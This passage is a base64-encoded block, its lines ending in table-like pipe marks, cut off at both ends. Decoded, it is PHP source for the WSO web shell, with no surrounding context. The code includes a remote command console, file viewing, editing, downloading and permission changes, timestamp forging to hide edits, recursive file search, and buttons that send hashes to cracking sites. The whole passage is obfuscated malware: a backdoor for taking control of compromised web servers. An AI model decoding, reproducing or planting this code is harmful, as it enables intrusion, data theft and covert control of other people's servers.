Y2hhcnMob2JfZ2V0X2NsZWFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsNCgkJZWNobyBzdHJs | |
ZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsNCgkJZXhpdDsNCgl9DQogICAgaWYoZW1wdHkoJF9QT1NU | |
WydhamF4J10pJiYhZW1wdHkoJF9QT1NUWydwMSddKSkNCgkJV1NPc2V0Y29va2llKG1kNSgkX1NF | |
UlZFUlsnSFRUUF9IT1NUJ10pLidhamF4JywgMCk7DQoJd3NvSGVhZGVyKCk7DQoJZWNobyAnPGgx | |
PlN0cmluZyBjb252ZXJzaW9uczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQoJZWNobyAiPGZv | |
cm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVs | |
bCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51 | |
bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4g | |
ZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7DQoJZm9yZWFjaCgkc3RyaW5nVG9v | |
bHMgYXMgJGsgPT4gJHYpDQoJCWVjaG8gIjxvcHRpb24gdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFy | |
cygkdikuIic+Ii4kay4iPC9vcHRpb24+IjsNCgkJZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9 | |
J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1 | |
ZT0xICIuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVj | |
a2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5 | |
bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuKGVtcHR5KCRfUE9TVFsncDEnXSk/ | |
Jyc6aHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxw | |
cmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9u | |
ZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7DQoJaWYoIWVtcHR5KCRf | |
UE9TVFsncDEnXSkpIHsNCgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMp | |
KWVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKSk7DQoJfQ0K | |
CWVjaG8iPC9wcmU+PC9kaXY+PGJyPjxoMT5TZWFyY2ggZmlsZXM6PC9oMT48ZGl2IGNsYXNzPWNv | |
bnRlbnQ+DQoJCTxmb3JtIG9uc3VibWl0PVwiZyhudWxsLHRoaXMuY3dkLnZhbHVlLG51bGwsdGhp | |
cy50ZXh0LnZhbHVlLHRoaXMuZmlsZW5hbWUudmFsdWUpO3JldHVybiBmYWxzZTtcIj48dGFibGUg | |
Y2VsbHBhZGRpbmc9JzEnIGNlbGxzcGFjaW5nPScwJyB3aWR0aD0nNTAlJz4NCgkJCTx0cj48dGQg | |
d2lkdGg9JzElJz5UZXh0OjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0ZXh0JyBz | |
dHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5QYXRoOjwvdGQ+PHRkPjxp | |
bnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdjd2QnIHZhbHVlPSciLiBodG1sc3BlY2lhbGNoYXJzKCRH | |
TE9CQUxTWydjd2QnXSkgLiInIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+ | |
PHRkPk5hbWU6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGVuYW1lJyB2YWx1 | |
ZT0nKicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+PC90ZD48dGQ+ | |
PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L3RkPjwvdHI+DQoJCQk8L3RhYmxlPjwv | |
Zm9ybT4iOw0KDQoJZnVuY3Rpb24gd3NvUmVjdXJzaXZlR2xvYigkcGF0aCkgew0KCQlpZihzdWJz | |
dHIoJHBhdGgsIC0xKSAhPSAnLycpDQoJCQkkcGF0aC49Jy8nOw0KCQkkcGF0aHMgPSBAYXJyYXlf | |
dW5pcXVlKEBhcnJheV9tZXJnZShAZ2xvYigkcGF0aC4kX1BPU1RbJ3AzJ10pLCBAZ2xvYigkcGF0 | |
aC4nKicsIEdMT0JfT05MWURJUikpKTsNCgkJaWYoaXNfYXJyYXkoJHBhdGhzKSYmQGNvdW50KCRw | |
YXRocykpIHsNCgkJCWZvcmVhY2goJHBhdGhzIGFzICRpdGVtKSB7DQoJCQkJaWYoQGlzX2Rpcigk | |
aXRlbSkpew0KCQkJCQlpZigkcGF0aCE9JGl0ZW0pDQoJCQkJCQl3c29SZWN1cnNpdmVHbG9iKCRp | |
dGVtKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlpZihlbXB0eSgkX1BPU1RbJ3AyJ10pIHx8IEBzdHJw | |
b3MoZmlsZV9nZXRfY29udGVudHMoJGl0ZW0pLCAkX1BPU1RbJ3AyJ10pIT09ZmFsc2UpDQoJCQkJ | |
CQllY2hvICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLG51bGwsXCIiLnVy | |
bGVuY29kZSgkaXRlbSkuIlwiLCBcInZpZXdcIixcIlwiKSc+Ii5odG1sc3BlY2lhbGNoYXJzKCRp | |
dGVtKS4iPC9hPjxicj4iOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCglpZihAJF9QT1NUWydwMydd | |
KQ0KCQl3c29SZWN1cnNpdmVHbG9iKCRfUE9TVFsnYyddKTsNCgllY2hvICI8L2Rpdj48YnI+PGgx | |
PlNlYXJjaCBmb3IgaGFzaDo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4NCgkJPGZvcm0gbWV0aG9k | |
PSdwb3N0JyB0YXJnZXQ9J19ibGFuaycgbmFtZT0naGYnPg0KCQkJPGlucHV0IHR5cGU9J3RleHQn | |
IG5hbWU9J2hhc2gnIHN0eWxlPSd3aWR0aDoyMDBweDsnPjxicj4NCiAgICAgICAgICAgIDxpbnB1 | |
dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2FjdCcgdmFsdWU9J2ZpbmQnLz4NCgkJCTxpbnB1dCB0eXBl | |
PSdidXR0b24nIHZhbHVlPSdoYXNoY3JhY2tpbmcucnUnIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5h | |
Y3Rpb249J2h0dHBzOi8vaGFzaGNyYWNraW5nLnJ1L2luZGV4LnBocCc7ZG9jdW1lbnQuaGYuc3Vi | |
bWl0KClcIj48YnI+DQoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nbWQ1LnJlZG5vaXpl | |
LmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL21kNS5yZWRub2l6ZS5j | |
b20vP3E9Jytkb2N1bWVudC5oZi5oYXNoLnZhbHVlKycmcz1tZDUnO2RvY3VtZW50LmhmLnN1Ym1p | |
dCgpXCI+PGJyPg0KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2NyYWNr | |
Zm9yLm1lJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vY3JhY2tmb3IubWUv | |
aW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4NCgkJPC9mb3JtPjwvZGl2PiI7 | |
DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7DQoJaWYo | |
IGlzc2V0KCRfUE9TVFsncDEnXSkgKQ0KCQkkX1BPU1RbJ3AxJ10gPSB1cmxkZWNvZGUoJF9QT1NU | |
WydwMSddKTsNCglpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7DQoJCWlmKEBpc19maWxl | |
KCRfUE9TVFsncDEnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsNCgkJCW9iX3N0 | |
YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsNCgkJCWhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlv | |
bjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKTsNCgkJCWlm | |
IChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsNCgkJCQkkdHlwZSA9IEBt | |
aW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOw0KCQkJCWhlYWRlcigiQ29udGVudC1UeXBl | |
OiAiIC4gJHR5cGUpOw0KCQkJfSBlbHNlDQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50 | |
LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KCQkJJGZwID0gQGZvcGVuKCRfUE9T | |
VFsncDEnXSwgInIiKTsNCgkJCWlmKCRmcCkgew0KCQkJCXdoaWxlKCFAZmVvZigkZnApKQ0KCQkJ | |
CQllY2hvIEBmcmVhZCgkZnAsIDEwMjQpOw0KCQkJCWZjbG9zZSgkZnApOw0KCQkJfQ0KCQl9ZXhp | |
dDsNCgl9DQoJaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScgKSB7DQoJCWlmKCFmaWxlX2V4 | |
aXN0cygkX1BPU1RbJ3AxJ10pKSB7DQoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycp | |
Ow0KCQkJaWYoJGZwKSB7DQoJCQkJJF9QT1NUWydwMiddID0gImVkaXQiOw0KCQkJCWZjbG9zZSgk | |
ZnApOw0KCQkJfQ0KCQl9DQoJfQ0KCXdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5GaWxlIHRvb2xz | |
PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCglpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3Ax | |
J10pICkgew0KCQllY2hvICdGaWxlIG5vdCBleGlzdHMnOw0KCQl3c29Gb290ZXIoKTsNCgkJcmV0 | |
dXJuOw0KCX0NCgkkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSdd | |
KSk7DQoJaWYoISR1aWQpIHsNCgkJJHVpZFsnbmFtZSddID0gQGZpbGVvd25lcigkX1BPU1RbJ3Ax | |
J10pOw0KCQkkZ2lkWyduYW1lJ10gPSBAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSk7DQoJfSBlbHNl | |
ICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pKTsNCgllY2hv | |
ICc8c3Bhbj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKEBiYXNlbmFtZSgkX1BPU1Rb | |
J3AxJ10pKS4nIDxzcGFuPlNpemU6PC9zcGFuPiAnLihpc19maWxlKCRfUE9TVFsncDEnXSk/d3Nv | |
Vmlld1NpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSk6Jy0nKS4nIDxzcGFuPlBlcm1pc3Npb246 | |
PC9zcGFuPiAnLndzb1Blcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPk93bmVyL0dyb3Vw | |
Ojwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7DQoJZWNobyAn | |
PHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlY3RpbWUo | |
JF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQg | |
SDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPk1vZGlmeSB0aW1lOjwvc3Bh | |
bj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLic8YnI+PGJy | |
Pic7DQoJaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQ0KCQkkX1BPU1RbJ3AyJ10gPSAndmlldyc7 | |
DQoJaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApDQoJCSRtID0gYXJyYXkoJ1ZpZXcnLCAnSGln | |
aGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUn | |
LCAnVG91Y2gnKTsNCgllbHNlDQoJCSRtID0gYXJyYXkoJ0NobW9kJywgJ1JlbmFtZScsICdUb3Vj | |
aCcpOw0KCWZvcmVhY2goJG0gYXMgJHYpDQoJCWVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51 | |
bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxcJycuc3RydG9sb3dl | |
cigkdikuJ1wnKSI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydwMiddKT8nPGI+WyAnLiR2 | |
LicgXTwvYj4nOiR2KS4nPC9hPiAnOw0KCWVjaG8gJzxicj48YnI+JzsNCglzd2l0Y2goJF9QT1NU | |
WydwMiddKSB7DQoJCWNhc2UgJ3ZpZXcnOg0KCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JzsNCgkJ | |
CSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7DQoJCQlpZigkZnApIHsNCgkJCQl3aGls | |
ZSggIUBmZW9mKCRmcCkgKQ0KCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwg | |
MTAyNCkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCX0NCgkJCWVjaG8gJzwvcHJlPic7DQoJCQli | |
cmVhazsNCgkJY2FzZSAnaGlnaGxpZ2h0JzoNCgkJCWlmKCBAaXNfcmVhZGFibGUoJF9QT1NUWydw | |
MSddKSApIHsNCgkJCQllY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xv | |
cjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7DQoJCQkJJGNvZGUgPSBAaGlnaGxpZ2h0X2ZpbGUo | |
JF9QT1NUWydwMSddLHRydWUpOw0KCQkJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcs | |
Jzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7DQoJ | |
CQl9DQoJCQlicmVhazsNCgkJY2FzZSAnY2htb2QnOg0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3Az | |
J10pICkgew0KCQkJCSRwZXJtcyA9IDA7DQoJCQkJZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10p | |
LTE7JGk+PTA7LS0kaSkNCgkJCQkJJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3co | |
OCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsNCgkJCQlpZighQGNobW9kKCRfUE9TVFsn | |
cDEnXSwgJHBlcm1zKSkNCgkJCQkJZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNj | |
cmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOw0KCQkJfQ0KCQkJY2xlYXJz | |
dGF0Y2FjaGUoKTsNCgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3Vi | |
bWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxs | |
LHRoaXMuY2htb2QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1j | |
aG1vZCB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSdd | |
KSksLTQpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCQkJYnJl | |
YWs7DQoJCWNhc2UgJ2VkaXQnOg0KCQkJaWYoICFpc193cml0YWJsZSgkX1BPU1RbJ3AxJ10pKSB7 | |
DQoJCQkJZWNobyAnRmlsZSBpc25cJ3Qgd3JpdGVhYmxlJzsNCgkJCQlicmVhazsNCgkJCX0NCgkJ | |
CWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQkkdGltZSA9IEBmaWxlbXRpbWUoJF9Q | |
T1NUWydwMSddKTsNCgkJCQkkX1BPU1RbJ3AzJ10gPSBzdWJzdHIoJF9QT1NUWydwMyddLDEpOw0K | |
CQkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sInciKTsNCgkJCQlpZigkZnApIHsNCgkJCQkJ | |
QGZ3cml0ZSgkZnAsJF9QT1NUWydwMyddKTsNCgkJCQkJQGZjbG9zZSgkZnApOw0KCQkJCQllY2hv | |
ICdTYXZlZCE8YnI+PHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+JzsNCgkJCQkJQHRvdWNoKCRfUE9T | |
VFsncDEnXSwkdGltZSwkdGltZSk7DQoJCQkJfQ0KCQkJfQ0KCQkJZWNobyAnPGZvcm0gb25zdWJt | |
aXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGws | |
XCcxXCcrdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0 | |
IGNsYXNzPWJpZ2FyZWE+JzsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7DQoJ | |
CQlpZigkZnApIHsNCgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQ0KCQkJCQllY2hvIGh0bWxzcGVj | |
aWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCX0NCgkJ | |
CWVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7 | |
DQoJCQlicmVhazsNCgkJY2FzZSAnaGV4ZHVtcCc6DQoJCQkkYyA9IEBmaWxlX2dldF9jb250ZW50 | |
cygkX1BPU1RbJ3AxJ10pOw0KCQkJJG4gPSAwOw0KCQkJJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+ | |
JywnJywnJyk7DQoJCQkkbGVuID0gc3RybGVuKCRjKTsNCgkJCWZvciAoJGk9MDsgJGk8JGxlbjsg | |
KyskaSkgew0KCQkJCSRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7DQoJ | |
CQkJc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7DQoJCQkJCWNhc2UgMDogICRoWzJdIC49ICcgJzsg | |
YnJlYWs7DQoJCQkJCWNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgMTA6 | |
ICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgMTM6ICRoWzJdIC49ICcgJzsgYnJlYWs7 | |
DQoJCQkJCWRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7DQoJCQkJfQ0KCQkJCSRuKys7 | |
DQoJCQkJaWYgKCRuID09IDMyKSB7DQoJCQkJCSRuID0gMDsNCgkJCQkJaWYgKCRpKzEgPCAkbGVu | |
KSB7JGhbMF0gLj0gc3ByaW50ZignJTA4WCcsJGkrMSkuJzxicj4nO30NCgkJCQkJJGhbMV0gLj0g | |
Jzxicj4nOw0KCQkJCQkkaFsyXSAuPSAiXG4iOw0KCQkJCX0NCgkJIAl9DQoJCQllY2hvICc8dGFi | |
bGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9IzIyMjIyMj48dHI+PHRkIGJn | |
Y29sb3I9IzMzMzMzMz48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4k | |
aFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzI4MjgyOD48cHJlPicuJGhbMV0u | |
JzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicuaHRtbHNwZWNpYWxjaGFycygk | |
aFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7DQoJCQlicmVhazsNCgkJY2FzZSAncmVu | |
YW1lJzoNCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQlpZighQHJlbmFtZSgk | |
X1BPU1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpDQoJCQkJCWVjaG8gJ0NhblwndCByZW5hbWUhPGJy | |
Pic7DQoJCQkJZWxzZQ0KCQkJCQlkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2Rl | |
KCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsNCgkJCX0NCgkJCWVjaG8gJzxm | |
b3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAu | |
ICdcJyxudWxsLHRoaXMubmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4 | |
dCBuYW1lPW5hbWUgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLiciPjxp | |
bnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCQkJYnJlYWs7DQoJCWNhc2Ug | |
J3RvdWNoJzoNCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQkkdGltZSA9IHN0 | |
cnRvdGltZSgkX1BPU1RbJ3AzJ10pOw0KCQkJCWlmKCR0aW1lKSB7DQoJCQkJCWlmKCF0b3VjaCgk | |
X1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpKQ0KCQkJCQkJZWNobyAnRmFpbCEnOw0KCQkJCQllbHNl | |
DQoJCQkJCQllY2hvICdUb3VjaGVkISc7DQoJCQkJfSBlbHNlIGVjaG8gJ0JhZCB0aW1lIGZvcm1h | |
dCEnOw0KCQkJfQ0KCQkJY2xlYXJzdGF0Y2FjaGUoKTsNCgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIi | |
Ozwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9Q | |
T1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxp | |
bnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRlKCJZLW0tZCBIOmk6cyIsIEBm | |
aWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+ | |
PC9mb3JtPic7DQoJCQlicmVhazsNCgl9DQoJZWNobyAnPC9kaXY+JzsNCgl3c29Gb290ZXIoKTsN | |
Cn0NCg0KZnVuY3Rpb24gYWN0aW9uQ29uc29sZSgpIHsNCiAgICBpZighZW1wdHkoJF9QT1NUWydw | |
MSddKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgew0KICAgICAgICBXU09zZXRjb29raWUobWQ1 | |
KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnLCB0cnVlKTsNCiAgICAgICAg | |
JF9QT1NUWydwMSddIC49ICcgMj4mMSc7DQogICAgfSBlbHNlaWYoIWVtcHR5KCRfUE9TVFsncDEn | |
XSkpDQogICAgICAgIFdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3Rk | |
ZXJyX3RvX291dCcsIDApOw0KDQoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7DQoJCVdTT3Nl | |
dGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIHRydWUpOw0KCQlvYl9z | |
dGFydCgpOw0KCQllY2hvICJkLmNmLmNtZC52YWx1ZT0nJztcbiI7DQoJCSR0ZW1wID0gQGljb252 | |
KCRfUE9TVFsnY2hhcnNldCddLCAnVVRGLTgnLCBhZGRjc2xhc2hlcygiXG4kICIuJF9QT1NUWydw | |
MSddLiJcbiIud3NvRXgoJF9QT1NUWydwMSddKSwiXG5cclx0XFwnXDAiKSk7DQoJCWlmKHByZWdf | |
bWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkJew0KCQkJaWYo | |
QGNoZGlyKCRtYXRjaFsxXSkpIHsNCgkJCQkkR0xPQkFMU1snY3dkJ10gPSBAZ2V0Y3dkKCk7DQoJ | |
CQkJZWNobyAiY189JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7DQoJCQl9DQoJCX0NCgkJZWNobyAi | |
ZC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7DQoJCWVjaG8gImQuY2Yub3V0cHV0LnNj | |
cm9sbFRvcCA9IGQuY2Yub3V0cHV0LnNjcm9sbEhlaWdodDsiOw0KCQkkdGVtcCA9IG9iX2dldF9j | |
bGVhbigpOw0KCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOw0KCQlleGl0Ow0KCX0N | |
CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KCQlX | |
U09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCAwKTsNCgl3c29I | |
ZWFkZXIoKTsNCiAgICBlY2hvICI8c2NyaXB0Pg0KaWYod2luZG93LkV2ZW50KSB3aW5kb3cuY2Fw | |
dHVyZUV2ZW50cyhFdmVudC5LRVlET1dOKTsNCnZhciBjbWRzID0gbmV3IEFycmF5KCcnKTsNCnZh | |
ciBjdXIgPSAwOw0KZnVuY3Rpb24ga3AoZSkgew0KCXZhciBuID0gKHdpbmRvdy5FdmVudCkgPyBl | |
LndoaWNoIDogZS5rZXlDb2RlOw0KCWlmKG4gPT0gMzgpIHsNCgkJY3VyLS07DQoJCWlmKGN1cj49 | |
MCkNCgkJCWRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsNCgkJZWxzZQ0KCQkJY3Vy | |
Kys7DQoJfSBlbHNlIGlmKG4gPT0gNDApIHsNCgkJY3VyKys7DQoJCWlmKGN1ciA8IGNtZHMubGVu | |
Z3RoKQ0KCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOw0KCQllbHNlDQoJCQlj | |
dXItLTsNCgl9DQp9DQpmdW5jdGlvbiBhZGQoY21kKSB7DQoJY21kcy5wb3AoKTsNCgljbWRzLnB1 | |
c2goY21kKTsNCgljbWRzLnB1c2goJycpOw0KCWN1ciA9IGNtZHMubGVuZ3RoLTE7DQp9DQo8L3Nj | |
cmlwdD4iOw0KCWVjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0g | |
bmFtZT1jZiBvbnN1Ym1pdD0iaWYoZC5jZi5jbWQudmFsdWU9PVwnY2xlYXJcJyl7ZC5jZi5vdXRw | |
dXQudmFsdWU9XCdcJztkLmNmLmNtZC52YWx1ZT1cJ1wnO3JldHVybiBmYWxzZTt9YWRkKHRoaXMu | |
Y21kLnZhbHVlKTtpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jbWQudmFs | |
dWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fWVsc2V7ZyhudWxsLG51bGwsdGhp | |
cy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSByZXR1cm4gZmFs | |
